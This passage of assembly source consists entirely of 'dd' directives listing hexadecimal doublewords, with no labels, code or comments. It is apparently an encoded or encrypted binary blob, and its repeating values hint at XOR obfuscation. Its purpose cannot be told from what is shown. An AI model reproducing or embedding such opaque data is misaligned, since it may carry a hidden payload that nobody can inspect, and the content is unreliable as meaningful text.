0E2D9193Ah, 9E70D415h, 4B398F96h dd 69443407h, 6622A991h, 6605DB15h, 249B3215h, 0CBEF017Fh dd 0AFACE49Bh, 71C9B2D8h, 29C8B9F6h, 6249811h, 9BACDA94h dd 38414A98h, 0D5DB5374h, 0ED9CBAFCh, 0A2A31609h, 66113211h dd 8FA08675h, 66443207h, 21244BB2h, 125E826Ah, 0EA20338Bh dd 2A42AE6Dh, 0CC4343E2h, 6610B01Ah, 9E7D3215h, 30B1BB40h dd 96ABDC9Ch, 4BE96F4Bh, 111C1C1Dh, 0F2453538h, 63DA1B12h dd 61853312h, 0F2A63A10h, 3115C762h, 662236AAh, 39E8BB15h dd 69D1FA3Ch, 66443399h, 9A89CB15h, 66134DFCh, 670D3D15h dd 9A443215h, 9D8CAF98h, 6BF8340Ch, 0C3883215h, 0F3D4388Fh dd 0D10B450Eh, 0F09AEBAAh, 0EDE8E1EAh, 6654DACBh, 0C4733215h dd 8A0C6B5Eh, 266C0CAFh, 337684FBh, 0D92D7388h, 8F706CEFh dd 66883212h, 855EAFB1h, 0EBAD6209h, 7C019A88h, 0B577CA13h dd 664426FCh, 0BD065315h, 4205D187h, 0A2AF2B39h, 27E74E82h dd 4455BC09h, 69D13927h, 66881490h, 664BDB15h, 0CC1B3215h dd 0F69DF2A5h, 0A6D69872h, 0C745FB7Fh, 661ADB7Ah, 0E7713215h dd 9BFA54DAh, 0E8718B5Fh, 0E543131Dh, 7423C790h, 0E1873713h dd 66443214h, 98B4DBE9h, 0DC71CDEAh, 5F90512h, 664437FDh dd 0C6E69015h, 0B79080F1h, 534A5811h, 0FBC9534Bh, 603820DEh dd 6600DBE0h, 0D21F3215h, 94A4184Bh, 0C82B830h, 0A2F17E3Ch dd 9993CE7Bh, 0A64FCBC6h, 662CB71Ah, 8FE43215h, 66883270h dd 9ECF5475h, 7E5E995h, 62A86343h, 0EF883215h, 94456BDBh dd 662EDB4Bh, 4DAD3215h, 0B2D7D423h, 44158960h, 7CB56A9h dd 6113214h, 668821FCh, 35D28715h, 958A1C95h, 1F837BB9h dd 64CD0EEh, 0AAA436E8h, 0EA2D53E0h, 6611320Ch, 0C558B375h dd 8F5827A7h, 66223219h, 0D5973DEFh, 30716640h, 284B00D5h dd 0BFBFBF74h, 9A172599h, 0E587E1EAh, 66443229h, 6625B81Ah dd 0E21E3215h, 66883214h, 93F1B9E0h, 6242027h, 6615B21Ah dd 0DDEE3215h, 94C5BCFBh, 5B312A9Ah, 4802DB74h, 0EB873215h dd 66443219h, 662235FCh, 1B64FC15h, 0A5989E0h, 54B1BF9Eh dd 61CB3407h, 0DD113215h, 0F53D0F71h, 0D3CD6253h, 603000E0h dd 8C905475h, 0B408EF1Ah, 0DC165353h, 445E2028h, 3C51D094h dd 84493D28h, 398EB312h, 247EE642h, 1B11F894h, 0A40943BDh dd 8945B094h, 4F78E33Ch, 87D0B3E4h, 6E6CD14h, 0A1AAD494h dd 0EF2D18EBh, 66113213h dd 6688B71Ah, 0E253215h, 6622769Eh, 91353E9Ch, 8FD11609h dd 66443207h, 194E489Eh, 638A071Ah, 7C3836D8h, 8524D86Dh dd 0DE7247B7h, 35744D78h, 0F1AB8638h, 442C1F0Dh, 400F420Ah dd 6B3E3300h, 18136301h, 8C9E6810h, 3EE4332Dh, 8890FC3Ch dd 5E227D8Ch, 6643BD1Ah, 0E22D3215h, 66113214h, 8F2CC1ECh dd 6644321Dh, 0B40F1CEh, 0F864FBD3h, 9974FDFCh, 6642DBEAh dd 8E793215h, 7976D99Bh, 0F828AF98h, 99B8340Dh, 0B3A852C6h dd 3770CC9Eh, 0AE01CB9Ch, 0E5603E9Eh, 0E72D36D1h, 66113201h dd 66883DFCh, 69956E15h, 84B588E2h, 0CBB1B1DDh, 8D4387F0h dd 4B79B73Eh, 9ADA3407h, 7C00B79Ch, 6B613407h, 0E3443215h dd 868D6B48h, 0D1A97ED4h, 3785E011h, 4B79B79Eh, 0E7423407h dd 191330CAh, 0A6E05315h, 0EF443231h, 31D71629h, 0A190D59Ch dd 66883211h, 0E140DD96h, 0EF7E1629h, 6AF81611h, 0F7883215h dd 0BC04A27Ah, 857980EBh, 0EB9A78BAh, 7E28C098h, 2DF05213h dd 662221FDh, 42B1415h, 399F866Bh, 3B8CFE8Ah, 0F1ECC6ABh dd 0C88447C3h, 9CA24FABh, 99256C32h, 6631DBC4h, 56B63215h dd 48B696C0h, 0C71FDA6Bh, 0A6D3A994h, 2AF8D212h, 70DB935h dd 8F42203Dh, 6622321Ch, 5CD4E63Ah, 0E253F41Ah, 84CD6075h dd 6626F094h, 8C903215h, 66883211h, 3A602692h, 9E06369Ch dd 0E7F2BB46h, 668836D6h, 62AFB315h, 0E1223215h, 0EF4D1609h dd 0ED701629h, 74690F90h, 0B9A95213h, 2E8D5A74h, 62013215h dd 664DDB31h, 4EE93215h, 49B2F041h, 0EBFDAEC8h, 7EE5D198h dd 0B7DDCE13h, 661138FCh, 67E2515h, 0F9EC482Ah, 6353E8Ah dd 6615B11Ah, 0DDEE3215h, 7BDC8FBh, 0EF796246h, 6DF869CFh dd 40883215h, 9621E307h, 8B9E93C9h, 0E7ED2334h, 668836F9h dd 4240BB15h, 0DC44524Ch, 36714FF4h, 7E9524Dh, 7C91974h dd 6924203Dh, 66112B9Fh, 0EDEE5215h, 664ADAE5h, 64583215h dd 0BBC2F031h, 74A2320Dh, 831C15F8h, 0DBA1534Eh, 60033D5Ch dd 1B0C3D15h, 6443215h, 0D28D1Ah, 77030ADh, 61DDB79Eh dd 0EF4B3407h, 66223214h, 2F9419ECh, 938E201Ah, 0E04BF32Eh dd 6622324Dh, 90905475h, 86084C08h, 0E3CF53C9h, 60301330h dd 2F9431E0h, 698E201Ah, 66443399h, 0E3ABC715h, 600325B0h dd 668826FCh, 95410B15h, 0B8D7EC6Eh, 0A830D2DAh, 0C315E36Fh dd 5DEF2388h, 674EDBDBh, 0EF1E3215h, 66883205h, 664439FCh dd 0DA089015h, 257772B9h, 8EE875Bh, 6609007Dh, 422EBB15h dd 629C3D75h, 883215h, 8E1C76AEh, 6622321Eh, 762F7CFFh dd 0A9EF69E3h, 69F86566h, 6622329Bh, 31706A15h, 428CB344h dd 5F971B74h, 7CDB34Ah, 0EF28E13Ch, 6F616DEDh, 9D443215h dd 0DA654FAAh, 8D9C374Eh, 6767B182h, 6657DB82h, 0CAE73215h dd 81C23E0Eh, 9B42A9F1h, 28372A63h, 244ADAF0h, 0ABA863B4h dd 91E16D0Eh, 8FC573C4h, 182092FCh, 8790E3E2h, 13087251h dd 0E74CD3D4h, 6629CDD4h, 3FD93B15h, 6689BD1Ah, 34B13215h dd 662233AFh, 3CC13315h, 0D987C775h, 0E3CD53EBh, 60303540h dd 661139FCh, 172B1E15h, 571DD57Bh, 0A74E56E9h, 4BE4B714h dd 6D613407h, 33443215h, 4C2BDDFCh, 0DC471144h, 0E34F50F5h dd 60563D5Ch, 66223215h, 6610BB1Ah, 0C7D3215h, 662CC755h dd 9E223205h, 6655BD7Dh, 4284BB15h, 81A3B375h, 33044Fh dd 7F2EAABh, 9974327Fh, 7444AB80h, 6AA43D13h, 69113215h dd 6688349Bh, 66C53D15h, 99223215h, 743EDB80h, 6682DB13h dd 53483215h, 477E888Fh, 3E9B7F67h, 47ADB79Ch, 0EFBC3407h dd 74359790h, 52EECB13h, 0A2096B31h, 66443211h, 662EBA1Ah dd 0EC1E3215h, 66883213h, 6644B21Ah, 0D3DD3215h, 600325B0h dd 8F4A8175h, 6644321Ch, 7C7F3E58h, 0E04B6336h, 0E5875305h dd 6644320Eh, 6637B81Ah, 76F83215h, 5D883215h, 0F8E007CBh dd 0E0924h, 6A2C1722h, 99295538h, 746C53A0h, 67AA3D13h dd 9F113215h, 6368BB45h, 66443211h, 0E126DA96h, 0EF4D1611h dd 75611629h, 0CC443215h, 1AB0B8EAh, 5DFE59F9h, 0D312CCE7h dd 0F3B8E29Fh, 0D3DD1EBAh, 60031F28h, 668839FCh, 0E2C2E415h dd 95B5F3B8h, 5ECCB98h, 0DD46B798h, 9ABC340Dh, 0E02DE2EAh dd 66113212h, 0D76375h, 8F25E89Eh, 66223205h, 36C810C9h dd 759466B7h, 0A7D4641Ch, 0DE233C09h, 6958BF14h, 0EA873407h dd 6644321Dh, 419B5475h, 7705227h, 712D8F9Eh, 6DAD3407h dd 24223215h, 628ADCCAh, 6F6855E3h, 0E44B41C0h, 66223214h dd 7A4B9EDh, 8F8E203Dh, 6644321Bh, 5BDF0905h, 0EFBE8A81h dd 0B88C7131h, 0C2B7269Dh, 0A6A35475h, 0ED703117h, 74BB7BA0h dd 6642DB13h, 30AB3215h, 7CA62C05h, 6687DBB8h, 23D43215h dd 4357D429h, 75F429E6h, 0D9EF7935h, 0DB11621Ch, 66223215h dd 0EF4CDA9Ch, 6D0CE53h, 664434FCh, 1AF7B15h, 0E6BCCA54h dd 0A7E931E7h, 6B837D5h, 6628DBEDh, 0E8393215h, 900E9A3Eh dd 8BA9E214h, 0C09F6774h, 91252679h, 283062C0h, 677D341Bh dd 0A3A36AD0h, 543467C3h, 0DA0CC794h, 8E4559E4h, 7FA73D48h dd 8F113215h, 66883201h, 0F16DA592h, 4417169Eh, 0F93D906Dh dd 951CFC26h, 9DBB534Dh, 662FDB75h, 80CA3215h, 9DC2CD7Fh dd 0E0D7C750h, 8EA48B6Ah, 66113219h, 0F007C1CCh, 3FC26760h dd 0A5C6FD97h, 748E19Eh, 42E9B716h, 69B83407h, 66222194h dd 1CA65215h, 668838FCh, 2D9C3615h, 0CAFE3FAAh, 7D26775h dd 712DBF9Eh, 243407h, 7147C494h, 7CBB973h, 66888847h dd 0A4453215h, 72A9389Ch, 62D5B131h, 8E50B975h, 6644321Dh dd 24E1C95Dh, 0C43106AFh, 7D6FD9Fh, 0DC16CEB8h, 99DDCDE9h dd 2E3D894h, 94896001h, 2B6F094h, 64E56001h, 66113215h dd 0D301CE4Fh, 6056015Ch, 662238FCh, 57B3F515h, 54F02002h dd 0E5B761C2h, 0E32DCDEDh, 66113297h, 6C38375h, 664BDBEDh dd 1593215h, 977ADCBAh, 6BD08D25h, 9266ABDAh, 0E7435387h dd 0BBCCEF2Bh, 3D0D3DC8h, 8F443215h, 66223213h, 6379239Dh dd 0DED823A9h, 9C3E76h, 1B258946h, 0BE102858h, 8649724Eh dd 0D3C41F12h, 60ABA0D1h, 0E41EC74Dh, 66883214h, 62FB65E0h dd 67223215h, 422DB9EBh, 9A8CF696h, 550D879Ch, 0E82D3407h dd 66113214h, 0B502DBE9h, 0EC4BCDEAh, 66223213h, 0ED705275h dd 0A64953D3h, 664EDB16h, 189F3215h, 18D5C268h, 0D7C4BAB3h dd 4225B716h, 68CB3407h, 0A2113215h, 0DEDD0D54h, 0B80D6213h dd 0AC9ABBEEh, 7FACB169h, 678E203Dh, 65D2B61Ah, 0E7DE3215h dd 0CCBB982Bh, 0EC0D3DBFh, 69443215h, 66222798h, 6601DB15h dd 56D3215h, 50C2DA36h, 775E1F5Eh, 0A1F13741h, 36DB5B82h dd 172965ADh, 0B71070Ah, 0A5982D64h, 3D56334Dh, 664435FCh dd 0B4D03515h, 1CE802CEh, 39AF8B44h, 87855BC9h, 6E3B317h dd 6749BC96h, 6689F5E4h, 3F443215h, 662235FCh, 46F86E15h dd 0FF48F154h, 0A175CA24h, 9ED7CA24h, 6EA06346h, 0E6D1FD9Dh dd 0A1C47DD2h, 3DDABA87h, 661138FCh, 0E8661A15h, 685AFBC4h dd 8F900A46h, 6611322Ah, 577003E9h, 8FBC03D2h, 66223212h dd 364F8899h, 37926724h, 0B3B2D5A0h, 0E621DFD5h, 0A3EFD3D8h dd 0D64DC795h, 3FAC32D2h, 662CDB75h, 0A64A3215h, 521F9ED4h dd 2025F39Ah, 5D8F7413h, 0E70A6A3h, 66885844h, 8F60369Ch dd 66223204h, 4277E98Dh dd 0A6F4F4B3h, 0F14F65CDh, 50584798h, 0CBACB102h, 678E2001h dd 67E8B61Ah, 8E423215h, 6611321Fh, 0E740C224h, 9CC266E9h dd 0E744731Dh, 38D339FFh, 1D9805ACh, 0DC16536Fh, 5FED197Bh dd 45558847h, 0AC095BE9h, 2B3729DEh, 7743D894h, 0B6980625h dd 3C58034Fh, 9DA2B375h, 8E5B8697h, 66113204h, 0C39A605Ch dd 0B3E4009h, 0B26C921Bh, 737496FFh, 0A00954D8h, 71A4A1Dh dd 0F75E8F96h, 6911340Ch, 66881D91h, 0B7C55215h, 19F90151h dd 0CC8CBF74h, 8F8E2ADAh, 6644321Dh, 0D7F827F5h, 572046FDh dd 69E8E1EAh, 66443796h, 0B5A35415h, 0B6AAE055h, 7C22AEDh dd 69D40D95h, 66226F91h, 6D9F3D15h, 8F883215h, 66443213h dd 564622C9h, 0D171149Dh, 0D8DE532Ah, 66443210h, 52A9C514h dd 62D5B131h, 68053DE9h, 6443215h, 6624DBECh, 7D903215h dd 1977F796h, 67F2DB74h, 93423215h, 669E3D75h, 8E883215h dd 6644321Ah, 0F558B20Ah, 0A4274D88h, 613737A8h, 3DD0C01Ch dd 9EA15374h, 0C5933D45h, 6883215h, 8E8B851Ah, 66223206h dd 3B3A4BF7h, 0BC960FFAh, 0C43B9BF9h, 5E4096ECh, 0BB759Eh dd 3EDF36ADh, 0BF36174h, 5C906073h, 3C77E525h, 0EE4FDD95h dd 0E72469EDh, 623715DDh, 0F58C892Dh, 0CCE92079h, 62C33D75h dd 223215h, 8F1A05AEh, 6688321Dh, 3CE98D3Eh, 4114F8FFh dd 661EDB74h, 83183215h, 6D0E1D2Fh, 0CD630ACDh, 2DE7B25Eh dd 428CB978h, 0E7A5BB44h, 662236D4h, 62D0B115h, 3AAC3E92h dd 6FAD98EDh, 223215h, 472A664Ah, 0B6D73002h, 66449FFCh dd 61A83D15h, 69113215h, 6688339Eh, 52BBC715h, 0A2A16A31h dd 679E3D11h, 93883215h, 664FDBBFh, 3A163215h, 0C34AAE0Eh dd 233E49DEh, 993BB2D7h, 11A73DFCh, 69113215h, 66882490h dd 7245215h, 66223FFCh, 6DEA6215h, 0AF2E43DEh, 6F4B880h dd 0E543283Ch, 7F804EA8h, 0E2873213h, 66443237h, 0D0BFBFEDh dd 69172ADBh, 66883A9Fh, 64C43D15h, 6223215h, 6C2CD74h dd 0F1DEC394h, 91CF0CB5h, 0DF73CE74h, 66113211h, 0EEDBCB14h dd 3D7DBAD2h, 67A33D4Ch, 9A113215h, 6683DB75h, 57953215h dd 27170FF1h, 0BAD132Bh, 3D325465h, 0E3CF533Ah, 603025B0h dd 364C1FECh, 9EA111BCh, 63CB8847h, 2C603B86h, 686DF894h dd 8C092B6Dh, 90158DB7h, 6978E214h, 66113394h, 0DBDDCE15h dd 66443211h, 4AA9DA3Ch, 62D5B131h, 6F6199E0h, 7443215h dd 8B960E06h, 426DB89Ch, 72073DB8h, 6443215h, 662235FCh dd 29C02E15h, 874A809Ah, 6644BF1Ah, 0E433215h, 661155F7h dd 0EAC0E9Ch, 6E8F3A51h, 2ACDB34Ah, 0E754DB43h, 8739CAFAh dd 9A3ABBD7h, 35CBC74Ah, 6EECDEEh, 691CFF95h, 66443197h dd 1FF1B215h, 67963D74h, 9A883215h, 550D879Ch, 0ED73407h dd 66113F03h, 69AC269Ch, 66442499h, 6633DB15h, 0ADA23215h dd 0E035AF4Ch, 4DF1F7E4h, 1F12697Ch, 694E175Ch, 66882696h dd 664BDB15h, 0BF33215h, 23593F66h, 42960D31h, 0A520838Bh dd 0E6225A20h, 61F83215h, 0C8883215h, 7664E0FCh, 6648126Dh dd 661FBD1Ah, 0E7E83215h, 3B6747F4h, 66AC3D46h, 7113215h dd 7C8987EAh, 0E14B3407h, 6622321Dh, 6613BA1Ah, 7E83215h dd 5545A7EAh, 0E02D3407h, 66113214h, 429CB9ECh, 0E7A1BB40h dd 662236D0h, 62D4B315h, 0E1883215h, 69181639h, 66222E96h dd 76F85215h, 33883215h, 63D8BF89h, 0F5994D6Dh, 854BAED9h dd 0DC1E18C9h, 228B905Fh, 0ABAFB974h, 6917200Fh, 66883E92h dd 60C13D15h, 69223215h, 66113296h, 6680DB15h, 0C2503215h dd 0B344980Ah, 0D8475FAFh, 44264DC8h, 0A8C5ECE2h, 3F817F1Eh dd 453D8D42h, 910971C3h, 66F962EAh, 3543C594h, 98100C37h dd 0E75EC54Ah, 0A55610FBh, 3813BBB1h, 6610B61Ah, 6703215h dd 6642BC1Ah, 0AEA33215h, 432F900Dh, 0E7E9D09Fh, 664436F9h dd 4226BB15h, 661136ADh, 3E493315h, 664437FCh, 0B3B51115h dd 0EB98C8E4h, 609A28D8h, 0A13DDBECh, 72CBCDEAh, 0F5113215h dd 241C7DC5h, 0AB7C3600h, 11D9BE6Ch, 0AF8EB01Ch, 8F9A3E39h dd 66441E52h, 0EC2D52EDh, 66113204h, 66883EFCh, 596AD315h dd 0BD904C2Dh, 898AD5C5h, 0AB05B93Eh, 9342200Fh, 662226FCh dd 2D152C15h, 0E558053Eh, 0F2F7257Dh, 1AB4C613h, 1211B0A5h dd 0E7B9CD7Ch, 52331611h, 307B45F1h, 822545ABh, 38791B62h dd 1EC9BBECh, 8F242B84h, 6611321Ah, 0ED5A3005h, 9EA2BB04h dd 7073758Dh, 693998D4h, 66883E94h, 60C53D15h, 69223215h dd 66113298h, 28B0B315h, 69087641h, 6622F890h, 0E777CA15h dd 48C4366Dh, 66F9B71Ah, 0EF2D3215h, 6611321Bh, 66883BFCh dd 7A3EA915h, 3CB37A4Ch, 0EF40BB53h, 0ED46BBD4h, 0A2C51619h dd 66223211h, 6604B21Ah, 76613215h, 0CB443215h, 0EB1CC72Bh dd 0E3A12703h, 0F0E01E70h, 8F87965Dh, 6622321Ah, 1497BD7h dd 0A176DB77h, 0E6E5CA80h, 33986F79h, 661134A8h, 0ED663315h dd 0A2C51639h, 66223211h, 661137FCh, 0D806F715h, 0E3CFF2B2h dd 60300294h, 661123FCh, 0FD907C15h, 539C4C8Bh, 0FAD2976Bh dd 74C6D90Bh, 0E8E92Dh, 8EA10FAEh, 66223219h, 0E4BE797Dh dd 6348CC0h, 0C1CAFE50h, 662235FCh, 4185A015h, 0B7FD788Ch dd 9CAD534Bh, 8F223211h, 66113212h, 0C35CFDE7h, 0E75A17Bh dd 66226E50h, 3835369Ch, 60DC5AE0h, 62CD3215h, 9EDB6831h dd 3671FB24h, 6688BC1Ah, 71D3215h, 0DF4452B9h, 72F8DC22h dd 36883215h, 0B223687Dh, 0ECAEE048h, 0FE5F2E14h, 0C5776BD8h dd 7B05B0Fh, 0E22D3229h, 66113391h, 668823FCh, 117E6F15h dd 7CFF473Bh, 6CFC35B6h, 0B7DBCFBCh, 4B78A5C1h, 9998B61Ah dd 0E31ECDEAh, 66883212h, 6645BA1Ah, 5ADA3215h, 0B3953D3Bh dd 9F883215h, 0E44B0229h, 6622372Ah, 0DDD3B975h, 787135CCh dd 697D0E74h, 99DDB993h, 0ED1ECBEAh, 66883202h, 8F83B975h dd 6622321Bh, 0DA9DBEE9h, 0E6B29E3Bh, 593F40DAh, 5A4304BAh dd 6E933D54h, 8F883210h, 6644321Ah, 979D6DE2h, 4EE2029h dd 0AD43E7C4h, 8F933DA4h, 6622321Bh, 0DFDCCAF4h, 0C1E0C131h dd 0E04019CFh, 3C1E8A3Fh, 9927B41Ah, 5A70CDEAh, 4BC03D4Ah dd 8FDDCDEAh, 6611321Bh, 793EB7F6h, 0E5C89399h, 7D84D1D1h dd 72D5B7Bh, 623DB01Ah, 5ABC3215h, 6FA43D6Fh, 69EECDEAh dd 6688339Eh, 0EC4BCA15h, 6622321Dh, 6613B11Ah, 7E83215h dd 6640A0FCh, 77CB5215h, 1113215h, 0B4EE9333h, 0E9398532h dd 0BED12665h, 78D4B205h, 6689BB1Ah, 7BC3215h, 99DD8B44h dd 0AC38CDEAh, 94B1C74Ch, 6225B61Ah, 74CB3215h, 0B9113215h dd 794A0A16h, 0D3026C2Dh, 9AA2A3FBh, 5AA0F4B0h, 0EA875247h dd 6644321Ah, 662238FCh, 648F6515h, 4D4028F5h, 0DF632187h dd 7D1F3FE1h, 67AC6774h, 4F883215h, 6EAD6FFFh, 0E1223215h dd 504BD3BEh, 352E70A2h, 99BBCDAEh, 3DFB1BEAh, 4AF5475h dd 0E2325470h, 3BAD53B3h, 6DDCDEBh, 29C795h, 79CCAAEh dd 0E24BFB90h, 662231FAh, 6635BB1Ah, 8FE83215h, 6644321Fh dd 44046402h, 84C1421Eh, 6B60CFEEh, 83443215h, 0A127A37h dd 7E4A23F8h, 0E5523D0Bh, 0D3C9534Ch, 603020E4h, 661120FCh dd 52D13215h, 1BABB8Ch, 1EEF036Dh, 0A9D6E62h, 0E54611DCh dd 72CD36F9h, 75CB6B31h, 55113215h, 39A0FE6Ah, 8BC9ADB3h dd 0A37346DDh, 3D97D5C0h dd 0E7DAEF82h, 445C1621h, 5AA91146h, 62D5B331h, 0E7883215h dd 35662AE2h, 63CA5236h, 47113215h, 0B4FEA57Bh, 8E438A73h dd 2CD28D4Dh, 37700E9Ch, 0D7928546h, 3DBD1A18h, 0AE12EFA5h dd 67973D4Ch, 93883215h, 6B947BBh, 6620B51Ah, 3D463215h dd 668821FCh, 0EED35215h, 83159492h, 0F4E9A2E2h, 0C6A5D5A7h dd 193A9D22h, 97A95274h, 5FE1B373h, 68615319h, 84443215h dd 9319FA1Fh, 8F45B73Ch, 20BA335Dh, 0AF85B304h, 0E7280433h dd 1E16B1D4h, 0E7711B14h, 1E43B1FCh, 0AFCBB314h, 9A1B0433h dd 6688327Dh, 42481B15h, 0E7063E9Eh, 661136D1h, 8909CE15h dd 18C13B0Dh, 47EDD94h, 0A938651Eh, 4D4F594h, 0A1C5651Eh dd 18A73B0Dh, 0D91E6075h, 0EDEE6ADFh, 8AC753D2h, 421EBB11h dd 9A4F6D43h, 6B6196E6h, 13443215h, 0EF06AD12h, 4ADEE886h dd 0FFCC198Fh, 0A6B08546h, 0A1A23AFAh, 27D6B2AFh, 3473C595h dd 99BBCDAFh, 0EED833EAh, 934A682Fh, 7479A798h, 61AD3407h dd 0F2223215h, 64331542h, 0E303A729h, 60561128h, 69E2B7E9h dd 66110C90h, 6D0B3D15h, 6443215h, 69F38D1Ah, 66113297h dd 0E34E5315h, 605627D4h, 0B44ACB52h, 9AC5A8B2h, 578987EAh dd 6BD3407h, 1CA7BF74h, 69172797h, 66883594h, 67C33D15h dd 9E223215h, 0EE4E2EAh, 66887CE5h, 6960269Ch, 6622259Dh dd 6603DB15h, 0CDAD3215h, 32728B5Ah, 0B40872D5h, 0D01BB36h dd 5AEB8236h, 6924E2EAh, 8BA2CAA2h, 0A694534Ah, 6787B71Ah dd 0EE4B3215h, 66223219h, 661135FCh, 0D9044F15h, 3397A811h dd 4EBFB79Eh, 713407h, 8EB858AAh, 66443219h, 16CCA0E9h dd 6DA149A8h, 98D26B7Bh, 24534Bh, 0E693C99Eh, 69D1B774h dd 66884890h, 6AC93D15h, 69223215h, 6611349Fh, 660E3D15h dd 0A0443215h, 7437F390h, 0E61E7E13h, 66883214h, 6CAD52E9h dd 96223215h, 5313F739h, 3DD78125h, 795B98Bh, 0BC3EDB7Dh dd 661CDBCCh, 4A093215h, 17D68311h, 35A49D5Ah, 99CE68E5h dd 74B933A0h, 7CC63D13h, 69223215h, 66112698h, 6687DB15h dd 0D71E3215h, 0BB98977Dh, 0A440E92Ch, 0B03ED8EBh, 1CC1BF93h dd 93242797h, 33E4E2EAh, 0A309D79Ch, 66443211h, 6626DF94h dd 4A963215h, 72016E31h, 34245231h, 7F3B94Ah, 8FC1CD74h dd 66883219h, 4BF0CE74h, 6E5F346Ah, 137BC62Fh, 0A4035475h dd 20ADB373h, 0A6A75309h, 6602B71Ah, 8F7D3215h, 664432F6h dd 6625B31Ah, 0ED1E3215h, 66883214h, 1EC1BBEDh, 6242B84h dd 1BCAB373h, 0A0373D31h, 62A8B174h, 9306369Ch, 661C0B7Dh dd 42BCBB15h, 0FDFD5475h, 71E8759h, 0FF69B798h, 0E0873400h dd 6644321Ch, 7A6375h, 0CF0BEA94h, 0B677CA74h, 85C55275h dd 4ACFB3CDh, 2A77A1ABh, 0D1875375h, 0E94B53D6h, 6622320Eh dd 6604B81Ah, 76613215h, 9A443215h, 7FD41CB3h, 76C73AACh dd 0E9B2778Bh, 6D1D08E2h, 55A73DD5h, 8F113215h, 66883218h dd 2288E99Bh, 9FD8A3FDh, 0E2504999h, 0E7EE5273h, 79EC2C4h dd 66220CFCh, 6601DB15h, 951A3215h, 0D550820Bh, 0A281A376h dd 0C7F83D16h, 22012252h, 68AD2E31h, 39223215h, 683AC674h dd 2133CC3h, 281EBB08h, 662FDB3Bh, 0BC783215h, 915E2BC8h dd 26B81FDEh, 7C80283h, 66113FFCh, 0F7C59115h, 0E1C653F0h dd 66FAB115h, 6D2EAFFh, 6688BA1Ah, 0B9CF3215h, 77CB5274h dd 7C113215h, 847435E9h, 0D3BBE97Ah, 0D24BE8C8h, 0CA8BFDADh dd 0F7F0BF9Eh, 6CAD340Ch, 6F223215h, 394AFC65h, 0BCC63C26h dd 1CB75AE9h, 62AB3215h, 6605DB31h, 0B9713215h, 0B20397CAh dd 0A165EC68h, 92452881h, 0A247D089h, 63AD256Ah, 0BF223215h dd 148BCFD3h, 3543BB46h, 0C9603694h, 3E7C8A34h, 0DE309D38h dd 0E287694Bh, 66443219h, 6624B81Ah, 0EF1E3215h, 66883215h dd 66785A46h, 67793215h, 3D1231D6h, 66883DFCh, 1FB4BA15h dd 3B3EAC9Ch, 506C0EBFh, 1A96B5E5h, 664438FCh, 361CBC15h dd 57E229C4h, 0E5BCF663h, 7ACD36F9h, 66AA8931h, 0A5103215h dd 69D3219Eh, 66442B96h, 6636DB15h, 0AAD33215h, 13878DA8h dd 0C1F7AA11h, 8639E26Ah, 787DD9A8h, 0F301FBEEh, 60562460h dd 6623BA1Ah, 35E43215h, 0F8A837AEh, 9AA7B317h, 363EC24Fh dd 1611C6ADh, 3E4B33EAh, 61FEA14h, 662238FCh, 3D4D4615h dd 0BC1F9070h, 7A21EAEh, 0ED2E42EAh, 0A2901601h, 66883211h dd 0DFD1BBE0h, 6242036h, 66113EFCh, 0DCE22115h, 9E4E4099h dd 8C7FEEB9h, 52EE5386h, 0A2096A31h, 66443211h, 4256CDE9h dd 4215B931h, 9E8CF696h, 6B198D42h, 9E231EA6h, 4BD91B4Ah dd 4A3B3F48h, 664437FCh, 0EDAE415h, 0E32AD527h, 609A11ACh dd 6663B01Ah, 6FCB3215h, 0E7113215h, 5A8E3E95h, 0FE8F562Ch dd 7057B72Eh, 0E51E3407h, 66883218h, 0A4BC53E0h, 0ED2D3211h dd 66113214h, 0DFE853E9h, 28E571EFh, 0A1DB53E9h, 4CBE1611h dd 4A092091h, 0FD144231h, 4236C57Fh, 29DA8847h, 32A903F8h dd 0A71E3631h, 99251639h, 4A901611h, 46823E31h, 67C13D15h dd 93223215h, 623576D2h, 20BF13AEh, 62606EE2h, 58588A45h dd 221065F7h, 91D03A31h, 0E7401649h, 27261661h, 6FF66F6h dd 7460EB9Eh, 40443215h, 406FE4EAh, 649E2D7Ah, 8840D532h dd 0D3A8B47Bh, 69436DD9h, 66113D9Ch, 6682DB15h, 0FE663215h dd 6E71ECA4h, 1E6C0435h, 7BE06243h, 3E28C034h, 83008738h dd 49C51F35h, 0F7BD584Bh, 0EFA59CDBh, 96AB6AD3h, 6601DB4Bh dd 1A1B3215h, 3B3C318Ah, 2A72D13Bh, 9BE2350Ch, 0EB058FB0h dd 60567C5Eh, 73935275h, 477C8973h, 99E9CE74h, 6656DBF4h dd 0F52D3215h, 497F7BD5h, 0A9E764ABh, 0B66F24FEh, 9AF39902h dd 6618DB75h, 7073215h, 0B8203491h, 69B889FDh, 6611339Eh dd 0DDDBCE15h, 66443215h, 4F61D994h, 95105547h, 4FCBF194h dd 65CE5547h, 6636DB4Eh, 72893215h, 5779288Eh, 0A5581611h dd 500BD638h, 586C46D1h, 8FB42850h, 67F8B61Ah, 6ECB3215h dd 28113215h, 8C7D3010h, 69CD456Eh, 66223E9Fh, 609C3D15h dd 69883215h, 66443298h, 69CA0E15h, 6610FC91h, 0E8CE15h dd 0EC4BF89Eh, 66223215h, 691E0E74h, 6688BB91h, 6650DB15h dd 0D4313215h, 80D130Bh, 7B9B42F1h, 51FF913Bh, 1E874475h dd 0AB2D5D8Ah, 6773B61Ah, 69243215h, 66222395h, 661DDB15h dd 0AACE3215h, 0CF08B2D4h, 8467A48Ah, 0D11E6CCBh, 8DB453E6h dd 647CB61Ah, 0EE2D3215h, 66113200h, 8FD76475h, 66443219h dd 0A413B53Ch, 0A2FDB58Bh, 0DC5614AFh, 0A5BC5374h, 7426275h dd 670CA4Fh, 669BB51Ah, 6BAC3215h, 8A223215h, 4FC39AA2h dd 2A1C93D1h, 5450D308h, 659A544Dh, 0DE415343h, 66883214h dd 0DC16C214h, 66223215h, 7C9BF014h, 6C616A4Fh, 0A0443215h dd 5E5937E4h, 0C676041Fh, 413D6374h, 3522E7E3h, 9B2AF7A2h dd 93916973h, 3F631238h, 6654DBE0h, 194A3215h, 0ED593Eh dd 87ECAD52h, 274E4788h, 9DA23910h, 0E4943D95h, 677CDEAh dd 8EBB851Ah, 66223219h, 6FB56CF3h, 22A069D4h, 45161251h dd 0E22D534Bh, 66113206h, 6685BF1Ah, 6EAD3215h, 8D223215h dd 11A011AFh, 3067947Ah, 70603694h, 3D1D5357h, 2D368D42h dd 910900F8h, 664B5844h, 5565D594h, 0A1907A40h, 5FF606Dh dd 2562D594h, 89E31F1Bh, 82D6B311h, 4FB562C8h, 0E24B6DEEh dd 66223212h, 6610BA1Ah dd 0E743215h, 66442499h, 